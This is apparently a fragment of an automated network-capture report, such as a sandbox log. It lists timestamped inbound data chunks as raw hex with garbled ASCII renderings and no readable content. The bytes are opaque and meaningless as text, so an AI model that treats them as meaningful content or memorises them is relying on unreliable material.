Data Ascii: #}7nzn5l}T\)DdC%_@%v{Yi@gyP@>|P68=QXtg:RPHO?R>$Db|x>{0.0)OA/z&n@D+L6O'y|_6xw^dt?
mmuM6A^j

2022-09-20 10:10:09 UTC 5919 IN Data Raw: 0a 10 c6 6a f7 a6 40 83 59 a5 c1 3c 43 30 47 db 19 cc 64 84 b1 5a d1 4d d6 60 44 52 2d 01 f3 2c c1 ac 01 98 
9f 2f 37 4a 09 7d 30 26 eb f5 78 eb 44 41 a7 2f ab b8 eb 35 f2 9e 23 dc 9b 01 f7 0d 05 17 17 83 77 da e0 be ac e1 d6 6b 
b8 b9 84 fb ef 0b 0c f7 6e c2 c5 dc 1d 3c 6f d6 b9 38 6b dc f1 1a 6e 42 82 8a bb 88 70 97 03 ee f9 4b 32 bd 68 15 6d b2 
c1 3d 75 49 c5 9d a9 e1 2e 21 dc 24 c0 7d f5 52 a3 5b 8f 9e af 92 96 99 ef ef 31 42 e0 3d bf e4 22 ad 25 91 b8 48 b4 b4 
82 5a fa fb 79 d6 d2 88 4b 8d 18 20 94 5e 51 94 01 21 a0 7e 85 33 c0 cd 43 a4 2a aa d0 ba 70 47 ca 29 b7 71 55 4f 60 94 
71 a2 81 57 5a a9 58 97 16 cb eb ad f0 6c 29 3c 87 98 70 3d 1b db d0 80 4d 62 0e 23 25 c1 c6 1f 5f a3 e8 7a 73 d4 8a 5b 
ac 8c 5a 0d f2 a8 b5 ed 64 83 db da 48 b8 7e d8 de 48 d0 
Data Ascii: j@Y<C0GdZM`DR-,/7J}0&xDA/5#wkn<o8knBpK2hm=uI.!$}R[1B="%HZyK ^Q!~3C*pG)qUO`qWZXl)
<p=Mb#%_zs[ZdH~H

Timestamp
kBytes
transferred

Direction Data
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2022-09-20 10:10:09 UTC 5926 IN Data Raw: 87 ae 4d f6 a1 db f3 91 54 89 42 f7 7d 54 ba 94 1f 2b 40 8a c9 5d 33 dc 9b 2c be 7a 79 87 fd 7c b9 69 02 bf a9 
77 64 30 59 3d 4c 90 0e d2 9f 4a 1f 95 99 7e 64 db 1f 52 91 90 a1 13 bc 73 97 f7 6c 46 30 4c 9a ec 29 a0 ff bf ae 9f 34 2f 
4f 21 67 c6 a7 f8 c0 88 fa a5 7d 5e 05 fd ff 75 13 17 7a 04 b3 c6 00 a6 c4 00 46 54 12 ad dc 01 f9 ef 5f 47 9f c8 c2 a4 54 
1c d0 54 b1 bd 16 1c f3 e8 8c 08 6f 3f 7d 19 6e 80 88 c6 d7 25 06 93 30 a1 91 44 68 88 b2 d5 e3 00 8d b2 92 16 5e ac 20 
55 e6 79 b3 1e 6f d6 c5 4e dd aa 21 61 96 ff b6 26 41 04 37 aa 62 71 4d 42 b8 fa 2b 42 fd 05 e6 54 bd 80 58 b7 cc 2f 6f bf 
49 8e 5c b7 24 c2 a5 c0 75 34 e6 70 4d 80 fc 3c f7 a3 48 6c f9 e1 1b ee fd 0b 41 7e 10 b0 dd e9 96 4d 33 0a 0f 38 08 61 
f7 3b ae c5 87 ce aa 78 b1 86 18 ec e3 06 8d 
Data Ascii: MTB}T+@]3,zy|iwd0Y=LJ~dRslF0L)4/O!g}^uzFT_GTTo?}n%0Dh^ UyoN!a&A7bqMB+BTX/oI\$u4pM<HlA~M3
8a;x

2022-09-20 10:10:09 UTC 5934 IN Data Raw: d5 9c 95 5a a7 e8 5b ec 4e 2d ee 9a 18 ee ae 9a 06 54 03 3e f9 12 5a d2 08 df 55 c0 d6 42 1d 8c d8 c9 5b 50 
11 72 13 9f 68 50 cc dc 0d 4b 1d e6 3d bb 2b 43 df b3 5e d4 b3 9e 61 7b 06 d7 a4 06 ad 93 1a b0 86 0f 82 b5 88 6c bf f6 
43 45 81 1d 7a 9b 85 9f 20 c9 6b 18 a0 a8 7e f3 4a fa 92 31 98 5f b5 68 1a 59 ef e0 6e f4 e0 b1 54 32 c8 7d de 25 c9 f0 ef 
9c 78 50 0d 6c fc 9b 10 f8 7b 1d a2 65 e2 09 25 1a e1 c8 e7 6a 09 51 3f a5 83 72 ad c1 00 a2 7a 84 b9 21 b5 41 5c 4e c3 
c1 f6 fc 00 28 50 f8 ac a2 be 8b 65 7f 60 e3 2f eb 56 e1 a8 86 f9 68 1e 01 2a 28 60 67 ac d3 8d 9c 96 cd ec 40 7a fc b5 fd 
bf c6 59 fd ec c1 50 bf fb 40 29 bc c9 3e 38 aa c9 5e 69 1e 14 3c 79 9f c2 8b 89 78 27 d4 1b 6d 36 32 e9 c8 77 54 b1 d6 
ab ee 74 54 e7 1e e6 2f a0 bb ff 15 71 b1 8f 24 27 
Data Ascii: Z[N-T>ZUB[PrhPK=+C^a{lCEz k~J1_hYnT2}%xPl{e%jQ?rz!A\N(Pe`/Vh*(`g@zYP@)>8^i<yx'm62wTtT/q$'

2022-09-20 10:10:09 UTC 5942 IN Data Raw: 7c fd b5 7a cb 74 0d f3 ae a9 bf b9 97 52 cf be 86 4b 89 eb 1a d1 10 4c 13 5d 1c 58 2f 7d 60 9d a5 83 74 6c 
34 f1 9c 1e 4e de b7 14 a7 e1 fc f7 36 73 b4 82 e9 ec 0a 45 b4 59 af c9 bb fd 6c bd 15 6a 24 12 2d 24 12 3d 71 82 91 a8 
ea a7 50 84 f8 1e b8 23 c2 24 4d 32 c2 64 12 4c 57 80 f9 fb 4f 18 03 cb 3d 35 66 eb ee ab 12 56 17 09 6b 11 61 7d 5d c7 
b0 bc 1c 2b b2 73 6e 90 84 a6 3a e7 54 b4 17 09 2d 1b d0 ce 35 08 68 bb 4d 3e 33 2d 99 4f 87 99 58 51 89 b5 93 6a e1 
6e 9e c0 f4 ab 68 1d 4e e1 03 70 79 66 44 f6 40 7c b0 8b cd 3d 3f 2a c5 60 60 31 ae 40 32 71 35 b2 33 f3 9c cd ff bd bf 22 
f3 8c cd bf db df 94 00 26 de 6c f5 8c 10 d7 c2 58 b7 90 e2 9f 47 06 03 cb f1 6d 3f bc cd d3 35 b8 5f dc 8a cf 07 99 58 c0 
55 0c 45 83 2c 9d 84 d1 20 ef 4d e2 d1 20 b9 f0 46 60 
Data Ascii: |ztRKL]X/}`tl4N6sEYlj$-$=qP#$M2dLWO=5fVka}]+sn:T-5hM>3-OXQjnhNpyfD@|=?*``1@2q53"&lXGm?5_
XUE, M F`

2022-09-20 10:10:09 UTC 5950 IN Data Raw: c0 a7 12 fe 69 3c 7d 82 cb 46 3c f3 87 3c e5 36 3d f3 61 fe e9 53 3b 7e 22 f2 a1 8d df cf 9e ba 18 ee 82 b8 f5 
25 c8 d4 18 c5 1f fe 67 0b ba f7 1c 14 bc f0 22 34 46 78 1a 6f 23 4b c3 26 b8 e0 33 1c ee d2 81 a1 38 53 89 12 9c 9d 4c 
25 72 e0 2d d9 8c 09 6c fc cf a7 a7 50 a3 70 45 3e 03 7c fa 70 ef 6c 78 f1 07 2e 6d 05 e1 e2 4e b3 ea 9b cd 4f ac d0 a9 
08 86 de 19 71 32 fa 9a ad 99 09 95 e6 f1 b6 8e d5 87 b8 5b ad 8a bc 77 96 99 c6 da 9a ac eb 16 84 22 4c 93 ff 36 3f dc 
a6 d3 e0 2e 9b 8c 36 a2 18 6f 8a 18 f4 85 55 51 f8 2a e9 15 23 5f 1d e1 7c e5 e3 7c b5 98 f3 d5 cc 2d 8c af 3e f3 e2 e5 3a 
24 91 7f d0 84 64 c3 20 44 70 07 bd 46 70 9f 87 81 13 b6 34 3d 01 dc 4a 02 e7 f4 8d c1 1d fe 9f 98 6e 06 84 b7 27 8a cb 
74 1b e9 14 4c 0f da 64 e1 a6 01 1c 3a ff 4f 80 ef 
Data Ascii: i<}F<<6=aS;~"%g"4Fxo#K&38SL%r-lPpE>|plx.mNOq2[w"L6?.6oUQ*#_||->:$d DpFp4=Jn'tLd:O

2022-09-20 10:10:09 UTC 5958 IN Data Raw: 13 6d 55 bd b8 06 26 da 9e 1f 65 c1 c5 d0 56 f5 22 ad 8a b6 e7 81 c3 03 bf 87 ad d2 dd a1 af 15 ee 7c a1 fa 
34 d6 d4 4f 3b 97 3e 90 a5 1b 39 41 bb c4 09 fe b6 0d 63 0e b3 7e 86 0d 2b 70 02 2e 3d 66 e3 ba 7a 0f 11 80 23 aa 2d 48 
e1 ed e1 73 2f cf 25 f2 8e a7 bc d9 e1 72 f4 25 c0 17 8d fd 44 38 2d 7b 06 66 8f 9a c2 33 5b 18 83 58 88 36 32 7c 30 3e 
c5 e8 ac e5 ca c6 5c b9 c8 2c a5 5c 97 8e b0 5c ba f4 f8 0c 63 2d 6d 44 36 88 06 bc e3 f5 1f c8 86 5b ac 10 37 02 69 20 
ae 62 50 4b 4a 47 95 12 3b d2 a3 54 d0 a3 e5 92 71 1d 3e 7f a5 b4 6c e8 e7 ca 9a 78 17 e3 b1 f9 4a d6 a2 d8 83 b8 99 8f 
3e 11 d6 69 7d 0e 1b 7d 81 3b 61 10 fb 63 a0 81 2f 32 9a 47 4c 68 76 71 34 93 01 cd af 18 f0 f6 ca ce 7e 96 56 ce 3b e4 
0a 0b d8 0c 32 76 cd b6 53 6c d4 8c 74 3e 11 ea d5 47 b5 
Data Ascii: mU&eV"|4O;>9Ac~+p.=fz#-Hs/%r%D8-{f3[X62|0>\,\\c-mD6[7i bPKJG;Tq>lxJ>i}};ac/2GLhvq4~V;2vSlt>G

2022-09-20 10:10:09 UTC 5966 IN Data Raw: eb 3c f2 9b 95 25 e8 5c 1c 92 56 50 20 1d 7e 99 c3 45 fd 07 ec b9 2f c7 db e5 50 9c 5c 44 59 2f 03 4d 8f dc 22 
45 eb d0 86 21 78 f4 d3 ff 4b d9 fb 8f 91 ff 77 d9 fb df 97 85 ac b2 f7 29 3b f4 36 f6 92 92 1f 53 f0 63 e4 45 32 25 2f 92 21 
79 91 74 c9 8b 78 24 2f 92 26 79 91 54 c9 8b b8 24 2f e2 b0 f0 22 69 4a cf 28 dc b3 6e 1b 4a c1 91 71 a2 02 2e 70 b3 ca 
6a 1b 06 9b da f9 1b 3b 69 c9 bf 7c 00 eb 38 f2 34 bc f6 54 7c 0f 73 a1 97 f2 e5 cf f8 85 62 28 f7 8a da 4b 4b 8e 47 20 b5 
77 d4 5e 5a 52 15 51 cb 22 06 26 69 c8 63 a6 d2 b1 e9 d9 98 4e 6d 1c 67 06 24 b3 5c 66 ce d2 db 26 cb 99 63 b0 00 64 
45 ad b8 c8 f4 af 94 74 bb f2 7f 39 66 54 91 65 0f a2 c8 9c c5 0e ca 24 25 4b 8e 3d 94 fb cd 59 ec a0 dc 80 b8 f6 88 db 96 
14 25 dd ae fc 3f 8e aa 25 63 ce bf 47 d5 72 
Data Ascii: <%\VP ~E/P\DY/M"E!xKw);6ScE2%/!ytx$/&yT$/"iJ(nJq.pj;i|84T|sb(KKG w^ZRQ"&icNmg$\f&cdEt9fT
e$%K=Y%?%cGr

2022-09-20 10:10:09 UTC 5973 IN Data Raw: 72 9c 21 83 e8 47 b7 df 64 df dd 1e bc 61 33 45 15 21 07 47 22 f9 29 18 0b f6 6f 0c d8 bf bd 82 f7 10 cd 06 7d 
eb 1f 24 19 e0 89 20 59 4e 7d 16 0e e3 a8 c0 60 58 18 8c 2a 13 a1 f3 20 8c e1 4d 18 c3 cc 8d ba 31 fc 15 2b b4 b8 ab ba 
a4 d9 7d fc 1e a2 42 41 8b 82 db f5 a4 f6 5c 1c 25 b5 78 1d b8 60 16 85 05 ef ea 99 3b 77 50 39 ff 5e a7 e5 e4 7d cc b9 
64 24 c3 9b 93 59 6d 1b d6 c2 f9 37 29 ac 96 52 5b 17 44 f4 a5 5e f9 b4 bf 1d f1 e9 ef 51 70 1f 6c 1a 16 f4 0f 9c a4 c3 b8 
d3 04 7f b4 75 b1 16 1f 16 90 b7 52 77 50 de f2 f7 b0 16 d3 a3 59 ff 01 5f 54 f4 54 f2 ba 94 fc b1 32 df 1f 03 2e 00 af af 15 
e0 cc c6 0f d5 f3 f7 04 c0 79 58 9c 43 ba 1a 80 5b ee c5 a7 49 2e b8 5c 7c 09 12 a7 b8 0a 92 45 62 19 24 7f 10 df 80 64 
8e b8 0e 92 c7 c4 cd 90 3c 22 6e 83 64 a2 58 
Data Ascii: r!Gda3E!G")o}$ YN}`X* M1+}BA\%x`;wP9^}d$Ym7)R[D^QpluRwPY_TT2.yXC[I.\|Eb$d<"ndX

2022-09-20 10:10:09 UTC 5981 IN Data Raw: 2d 2d f0 04 74 48 3d e7 77 05 29 c2 1e 52 84 b2 07 fd 5f c6 40 f8 18 0a f6 0e 45 c2 a9 6a e1 d8 fa 48 bd eb 35 
70 b5 5d 69 fb 38 ad 92 77 f1 82 03 ac cc 46 07 5b 4a 47 c2 76 f6 c8 34 8f ed d5 ed 7c d3 62 13 7c 15 fd 51 98 df c1 4d 1d
aa 38 c1 f6 ab c3 d4 09 81 eb 90 61 aa 83 87 ea e0 fb bd 7f 1d 1e e0 db 46 f9 15 71 b8 9f 99 f7 35 23 57 8b af 43 f1 9a 79 
56 3d 0d e0 0d c1 17 06 0d 3d bd ea b9 7f 5a 8c c3 50 98 45 53 b8 79 7b ae a8 18 e8 a2 2a 90 20 fe 32 3e 70 25 de 37 
55 a2 91 2a 71 8f 5f 25 f2 ec ca 96 cb 7a cc f6 1d a1 59 c6 a8 6d 03 7a 42 8f ae 82 cf 9d b9 f9 84 70 21 ff 02 59 71 ae 56 
b5 88 ad 82 31 2a 0e 1f 81 d7 55 5c 51 b5 83 de 80 e6 6d 6a 37 1c 10 c9 e1 d3 cc 68 6e dd 30 8c b4 b4 14 b2 ed 44 ef 
22 0b 5d 31 86 c2 5d bb 49 b3 05 bd 6c 61 30 c3 b8 
Data Ascii: --tH=w)R_@EjH5p]i8wF[JGv4|b|QM8aFq5#WCyV==ZPESy{* 2>p%7U*q_%zYmzBp!YqV1*U\Qmj7hn0D"]1]Il
a0

2022-09-20 10:10:09 UTC 5989 IN Data Raw: b1 1a 64 34 5f 6c 6f c1 24 5b fa d1 07 1e 21 d0 eb c4 6e 59 50 ca e2 ab d4 12 8f cc 2d 86 35 26 34 2f 1c 14 15 
ad 8b 04 c1 8f dc 4e a4 71 a3 41 10 9f c1 e4 61 29 eb 1d 23 5b 2b 4d 96 1d 3c c4 96 1a 51 d4 c9 29 06 7f f4 16 03 a1 bc 
d4 05 5c a0 18 a8 e5 25 17 3e 22 cd b0 93 8a 86 60 90 d5 bc 54 0b 15 38 d5 e4 9c b0 7c 6e 3d 81 f4 62 ad 77 af ac 6f ce 
a9 75 af 3c 01 22 06 13 d6 91 46 52 13 27 33 4a 98 c8 68 25 11 82 34 da 17 3b d9 7f f1 8c 48 62 30 ef 27 6a a6 54 ad 63 
72 b7 ea d9 d2 16 75 1a a3 13 cd 6f 51 45 e0 a5 55 e1 62 bc 74 36 02 31 c2 a0 4e 88 eb 51 ac 9c 53 d6 14 af 49 d8 64 60 
62 82 74 fb 87 a7 d9 19 89 06 41 14 a7 e3 aa c4 03 47 10 f3 5a e9 db d8 1e b2 2a ad 07 c6 c4 b0 1a 37 e1 84 a2 6b 0f 94 
93 7e 7a 49 2b 27 49 dd 24 27 6d e6 54 df c5 e5 a4 bc 
Data Ascii: d4_lo$[!nYP-5&4/NqAa)#[+M<Q)\%>"`T8|n=bwou<"FR'3Jh%4;Hb0'jTcruoQEUbt61NQSId`btAGZ*7k~zI+'I$'mT
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2022-09-20 10:10:09 UTC 5997 IN Data Raw: 77 18 fa 35 2e e6 46 3a 0c 9f ba b6 31 d8 12 ad 1a 97 0e c6 d7 fd 1e 37 d8 98 7f 84 6a 36 e9 ca a6 c8 1f 9f 3e 
a4 2d 41 20 10 61 61 6c 7f 4b 0a 52 60 ea e1 9e 3b f5 3d 3c 83 d7 cf e1 48 e5 3d fc 23 f5 70 d1 76 d6 c3 75 2f 84 a2 c2 
47 3c 6d ed 6e 1b 45 8c 70 55 63 56 64 58 c7 ec c8 a3 de 00 5f f4 65 3b f2 f1 17 ee 9b ed 0c f1 38 31 ad de 69 0e 6f 41 
90 9c c7 6d 98 75 85 da b6 84 da 36 2b 55 d7 b6 68 5f b5 a6 02 ce be 83 72 db bc 3b 40 ef 9b 88 9e ed 99 3c c7 cc 98 14 
f6 97 d7 96 8d 89 b6 0b 92 44 70 8b 4e 39 08 7d ae 5d c2 1f be 24 1f ae 26 38 d4 a2 52 31 1b ac 8b 89 2c 70 b4 5c 75 cc 
e2 41 4c b0 50 5e f6 3f d1 16 b8 ac 80 e2 8f 7a 01 5b a4 b2 42 99 2a 22 0d 62 6c c8 d2 3c 6f 71 d0 80 3c 33 cb 0d 3c 24 
b5 95 cd 1e bb 10 53 ca a9 ad b4 a5 d1 ef b2 a4 a5 11 
Data Ascii: w5.F:17j6>-A aalKR`;=<H=#pvu/G<mnEpUcVdX_e;81ioAmu6+Uh_r;@<DpN9}]$&8R1,p\uALP^?z[B*"bl<o
q<3<$S

2022-09-20 10:10:09 UTC 6005 IN Data Raw: e0 6e ba 54 a0 77 8e d2 62 8a 27 58 36 9e 9f 61 56 38 9f 2f 32 54 5f 0f 5d c1 ae a4 25 5b 7a 18 89 3d 10 2b 
dd bc 72 45 07 9c b2 ee 67 99 a0 ce c1 ac b2 fc ca d8 77 4d eb 82 db fc b6 fe eb 31 ab 5f 5b 97 b8 3c 10 7b ea 1e 52 3d 
a9 a7 16 98 7b ea 2f 59 dd e5 4e a0 75 37 9b d5 dd df e6 93 9e 7a c3 02 d8 a8 28 af 91 60 36 37 28 d9 74 2a d9 7c 85 
65 d3 0c d9 9c 01 89 71 f8 18 84 ab e0 bb 6b 43 ce 70 09 5c 06 e2 3b 14 45 1b 22 9d 06 f1 7e 90 aa e8 c6 77 34 ac 7f 10 
48 cf ba 71 82 7a 36 d0 fc 19 4d 8c af 20 c2 eb 26 24 fe f6 2b 8c 87 d1 c3 78 91 17 89 1e 05 43 9a 33 0a a7 58 fb 7a 6f da 
57 8a 8c ac 09 07 f1 e4 f9 7c 78 48 b5 6c 25 fe dc 75 69 e5 c0 f8 bb 26 92 d5 e3 c5 24 70 c7 f9 11 77 75 92 90 1f 4c cc 4f 
10 02 65 fe 5e b2 f0 4d cc 0d a6 7e 94 5f b9 3e e5 ea 
Data Ascii: nTwb'X6aV8/2T_]%[z=+rEgwM1_[<{R={/YNu7z(`67(t*|eqkCp\;E"~w4Hqz6M &$+xC3XzoW|xHl%ui&$pwuL
Oe^M~_>

2022-09-20 10:10:09 UTC 6012 IN Data Raw: 48 2b 11 7e b9 15 1e ad 4e 3b 7a a1 a2 40 69 b8 b5 d5 a2 82 0a ed 5b 7e db 96 04 54 cd 1d 37 90 2c 50 ab 
8b 64 17 25 6b af 26 2b c8 64 65 bb 97 0c 4e 39 a4 4a b2 59 bb f9 9d b8 8e 83 e1 dc 8b db b1 15 54 73 fd c2 bd ac 96 48 
7f 1c 8d 75 35 89 d7 95 ae 36 56 1e 2f 38 93 71 7a a8 6a e8 da c8 96 8b 56 5b 35 ec da b8 c6 82 62 db a5 b2 c9 a0 3b 
85 86 88 20 b3 f1 17 47 f0 17 eb 60 54 94 7b ca 44 65 51 fb 71 65 26 bd 96 d4 5e 28 db 22 cd 2f 59 70 15 c6 72 4c e5 4f 
93 ba 35 4f 61 6b 55 a5 fd 6a 46 9e 0d 12 d3 ac 6b c6 c7 5a cc 7d 76 d2 24 da 67 13 ac cf 6e 67 7d 36 79 80 f4 d9 e5 24 
31 e9 06 38 00 55 46 73 95 31 e8 9d ed c3 1b 83 16 2b 8d b7 77 7b a6 63 90 7d 51 7e ff 4b fb a2 e4 9d 46 8b b2 8b 15 6
5 0a 14 65 e7 2f 45 51 6a 43 b9 9a e1 67 ec f6 b4 0d 46 ea 40 2e 
Data Ascii: H+~N;z@i[~T7,Pd%k&+deN9JYTsHu56V/8qzjV[5b; G`T{DeQqe&^("/YprLO5OakUjFkZ}v$gng}6y$18UFs1+
w{c}Q~KFee/EQjCgF@.

2022-09-20 10:10:09 UTC 6020 IN Data Raw: d8 98 97 ce 87 8d 92 a4 e6 20 e9 d3 ce 48 52 52 ba 0e 36 6e ae 7f e3 60 e3 cc 13 f6 60 63 f7 13 7e c0 c6 80 
13 5a d8 a8 98 40 b7 6c 02 dd 8b be 91 5f 5e af bc fc 75 b5 16 50 ea 60 e3 cc 6a 0a 1b f7 87 d4 05 36 96 a5 f2 61 63 39 
4c 4b 16 4c 4b 9c 07 4d cb aa 54 3f 60 e3 d5 7a 82 b0 b1 c3 9f 0e 1b ff 56 cf 28 1e 2e e0 04 f5 d4 b3 83 c8 82 ea 19 21 
54 a7 0a a1 46 a5 5b 5e 45 b2 d9 25 88 49 57 ba 6c 62 52 a7 1e 93 be 7c 50 c6 a4 b7 74 d7 61 d2 14 13 55 f4 23 e0 72 
89 43 20 3d fe dc 16 68 89 4b 02 5a 21 e8 d0 02 96 21 81 21 4d 5a 71 c1 c4 23 81 a2 60 e2 09 06 4c d4 a7 f4 65 66 3a 
3a 9a e8 05 aa a8 c0 83 43 0b 1e 4e 39 fd 06 0f 3e 35 78 d8 15 c0 05 0f 69 ad 70 fd 9b 4e ec 12 bf bb 15 5d e2 ff a4 7f ba 
e6 c0 81 bd 67 32 ae 7f d3 49 da db f2 f3 78 c0 e1 bb ab aa 
Data Ascii:  HRR6n``c~Z@l_^uP`j6ac9LKLKMT?`zV(.!TF[^E%IWlbR|PtaU#rC =hKZ!!!MZq#`Lef::CN9>5xipN]g2Ix

2022-09-20 10:10:09 UTC 6028 IN Data Raw: 69 66 bd 10 7d a8 20 f1 2b 5e 88 17 c1 ae 70 72 81 5b 80 f1 d1 54 c4 18 c7 f7 7d 8c fc c2 d1 a7 44 36 c9 ff 75 
22 46 08 f1 5b 33 c2 aa c7 22 e1 a6 5e be 77 06 e6 27 ff e2 d3 01 fe 3d 33 c2 4c 7c fa 19 4f 86 5f ed c9 08 57 3e bf d5 58 
ec 68 36 16 3b 5e 9c e8 9d 08 9f 7a cb 74 a2 51 2d a8 f0 d9 00 c2 27 71 31 12 3e bb 96 2a 61 d1 bb 75 62 b1 77 16 9a 
47 45 b3 96 1a 13 dd 02 44 8f 65 23 a2 5d 19 a2 2b f4 52 bc 2f d8 cf 52 a5 70 c3 6a a5 a5 d0 a6 af af e2 e2 7a 0c cf c5 2e 
e0 a2 27 e6 a2 60 09 89 76 09 87 b3 77 89 f1 70 76 43 47 5e dc 51 ea 12 29 a2 47 1e 12 96 38 95 87 84 14 6f 58 ad 8a 
e7 cd 8a 85 87 84 65 e4 bf e5 7a 5c 3c 6b c2 c5 01 e0 62 e2 22 c4 c5 f5 1c 65 52 7b c9 ee 21 2f 3f a9 2f fc a8 9a 54 9f 84 
e1 a4 27 4e 04 e2 dc 92 c3 73 d1 28 96 e7 e2 08 70 
Data Ascii: if} +^pr[T}D6u"F[3"^w'=3L|O_W>Xh6;^ztQ-'q1>*aubwGEDe#]+R/Rpjz.'`vwpvCG^Q)G8oXez\<kb"eR{!/?/T'Ns(p

2022-09-20 10:10:09 UTC 6036 IN Data Raw: 3e 4d a3 cb 34 8d ee a6 46 cb a0 d1 5e 70 33 ad 87 e5 4d f8 3f d2 9e 05 3a aa 22 cb 6e 92 90 d6 0d 26 fc 34 
38 38 22 22 1f e5 27 82 12 02 1a 94 46 d7 25 1a 18 a2 1c 07 15 95 9d 75 fd 1c 58 a7 c3 44 4c 48 b4 bb 31 7d 3a ad d9 
35 d9 41 27 ae ce d9 cc 9c cc 6e 9c 89 6b d4 2c 06 6d d9 08 19 27 83 2d f6 60 83 21 46 88 da b1 7b 31 f2 ff 84 f4 d6 fd 
54 bd 7a dd 4d d2 73 f6 1c e8 bc 57 9f 5b 55 f7 de ba 75 ab ea de fb 0c 9e ec d5 ad 64 c1 d7 a1 87 55 52 5b 1c c1 37 65 
24 6c 34 10 a9 7e 44 6a 9b 8e 54 3f ec 03 fd 56 b1 61 a0 3d 05 ee d4 b1 cd 5e 7e 3b 7f 13 bc 75 3a cb db ac 6a 67 7a bb 
78 8b 99 3c 36 70 94 8e 1b cd a3 dc c8 a3 9c cf a3 fc 03 8f 72 fb 3c 88 7f 73 23 a9 f8 40 d4 00 c0 2b 19 0d af 30 98 80 35 
e0 0c 5b 45 f2 6e 7b 10 f7 36 f4 7d 39 d8 0e 08 0c 04 f4 
Data Ascii: >M4F^p3M?:"n&488""'F%uXDLH1}:5A'nk,m'-`!F{1TzMsW[UudUR[7e$l4~DjT?Va=^~;u:jgzx<6pr<s#@+05
[En{6}9

2022-09-20 10:10:09 UTC 6044 IN Data Raw: 29 13 27 02 35 2a 5a 04 b3 be 0d 3c aa 53 57 2b 92 fc 0e 8a fc 95 84 64 9c 1b de 69 6b f8 1f a2 a1 14 98 16 
ac eb 34 5a 97 5c a6 fa c8 5b 3e f7 a4 ef b8 93 e1 40 75 41 35 a8 93 0a a7 90 31 17 3e 1a 0a e9 05 c7 1d 74 de 34 d0 07 
69 c2 39 84 6d 28 5d 38 93 c1 61 41 38 7f 12 67 02 cc 98 fe ed 5a 31 93 f6 68 d3 f6 d2 35 50 a2 16 de 62 0e 98 ee ec f4 
7c 15 3b 40 3f f2 83 1c b0 16 c9 04 cd 3d c3 fc 66 1a 18 b2 2d 67 5a 21 3a 2c d8 e9 c8 c9 05 67 95 8d e8 c4 8d f8 44 48 
ad dd f3 d4 5a 19 d6 76 b5 d5 7a 67 fe d9 a0 4d 2d 87 76 49 02 37 d7 4d ee 6d a9 05 66 34 ed cf 0e 02 55 79 14 90 34 
3a 2c 92 ea c1 81 50 2b 86 d3 44 69 ab 0a 4c 13 21 73 e8 55 67 2c 44 96 ac 11 88 5c 1b 65 01 ee 92 87 67 2e bb aa 59 
a3 17 2b a3 3f 1e 76 f4 47 ac d1 1d 5d 8d 3e 40 19 fd 7a 18 7d 
Data Ascii: )'5*Z<SW+dik4Z\[>@uA51>t4i9m(]8aA8gZ1h5Pb|;@?=f-gZ!:,gDHZvzgM-vI7Mmf4Uy4:,P+DiL!sUg,D\eg.Y+?
vG]>@z}

2022-09-20 10:10:09 UTC 6051 IN Data Raw: 0c a6 88 2c 0f 27 8f 85 b5 99 3c 16 e9 cd e4 b1 98 d7 ac ce 15 79 d0 9e db 2c 9c 10 a6 16 72 42 14 86 b7 d0 
56 84 4f d1 28 3c 76 65 ab e3 e6 6c 47 98 6d 6f d8 41 fb 65 9f 70 55 5c f3 b5 d5 55 71 d0 9e ad 94 92 d3 2c 72 20 02 6d 
06 15 38 72 ad b1 1e cc 22 e1 f6 23 e1 ae f9 0b 13 6e d8 5a 98 e0 a7 1b 23 05 0a 8d 55 41 20 f5 27 a4 24 40 da 59 08 
48 f3 8c 91 b6 49 48 6f 48 48 03 08 a9 f9 0d 86 b4 a0 10 66 c1 c0 9d 08 78 80 f9 ac 0b e5 8b 2f dd cd aa d4 be ba 19 92 
8b ad c6 f2 74 0a 96 24 95 b7 56 2a ef 49 2a cf 09 e5 f9 0b a0 bc 74 5d 79 97 69 56 7d 11 54 c8 9e 87 e5 e5 19 97 f7 6d 
81 b6 bc ad 52 79 89 54 de bd 50 de eb 58 1e 48 ca 99 1a 45 17 23 62 e9 22 39 92 2e 12 22 5c db 4a 81 26 6b 7c 14 a4 
8b 52 5b f4 2d 35 38 e5 52 8a 9f 24 15 bf 5f 2a 7e 14 15 5f 9c 
Data Ascii: ,'<y,rBVO(<velGmoAepU\Uq,r m8r"#nZ#UA '$@YHIHoHHfx/t$V*I*t]yiV}TmRyTPXHE#b"9."\J&k|R[-58R$_*~_

2022-09-20 10:10:09 UTC 6059 IN Data Raw: 58 80 bf f9 d2 b3 d6 86 f4 aa 8b 8a c5 9f c7 27 2a 0b cc 09 b4 2e a7 2c 30 eb fa 8d 2d e3 06 53 74 6f d6 28 ba 
bb 6f 19 56 d1 75 8f 1b bc 03 d2 a9 8b e7 32 47 a8 90 b6 92 42 7a 73 b2 42 9a fe 95 a2 90 3e 7b 5b 92 42 fa 42 e6 10 0a 
a9 c7 d0 25 97 67 8e 40 21 5d 94 dc 85 bc b2 d0 60 e8 8c c4 a2 8a c4 e2 76 12 8b 81 79 4c 2c ee 5d 38 a8 42 1a b7 fe ff 
14 d2 16 eb 25 28 a4 29 ca 71 72 41 ea 72 b4 51 39 4a a8 1c 39 50 8e 9f 2d 18 56 21 75 59 47 ac 90 9e 1e 7b c9 0a e9 
bb 63 07 4f 3d c5 60 ec 19 6a 30 7e 64 88 ec 87 1a 8c 47 b1 c1 d8 63 90 fe 6b 87 a0 8b 48 d1 0c bf 1e e3 f0 fb d5 98 ff 
8b 9b 14 1c 7e e3 34 fc ca 6a d3 b7 d5 7c 8c 6f e5 94 63 df e9 c2 d4 63 9f 4c 15 fe 3c 55 f8 f7 e7 82 ff 93 42 1a fb 64 ff d9 
45 db 2b 68 e8 f5 28 43 2f ee 4b fc f6 1d 3c e7 e5 
Data Ascii: X'*.,0-Sto(oVu2GBzsB>{[BB%g@!]`vyL,]8B%()qrArQ9J9P-V!uYG{cO=`j0~dGckH~4j|occL<UBdE+h(C/K<

Timestamp
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2022-09-20 10:10:09 UTC 6067 IN Data Raw: ee fa 3c 4d a8 b6 f4 53 5e 77 a8 2e f4 73 b5 17 f2 99 d2 77 78 dd 8e ba 78 31 58 d3 c1 b8 91 b5 82 ed 11 07 
a0 e3 b8 67 2e 91 e8 75 04 5f 85 df f2 78 d9 75 55 1e 3a 83 34 b2 86 95 ac d3 c0 28 3c 0c 12 50 a1 ff 78 47 68 8c 34 0c 
a6 8f ab 76 25 7b d7 15 4d f6 6c 7b b0 e4 d6 ef cf d6 2e 75 ca 02 22 1f 78 b2 a4 b2 52 b6 b7 7e 16 80 e8 40 e5 3a 3c 9a 
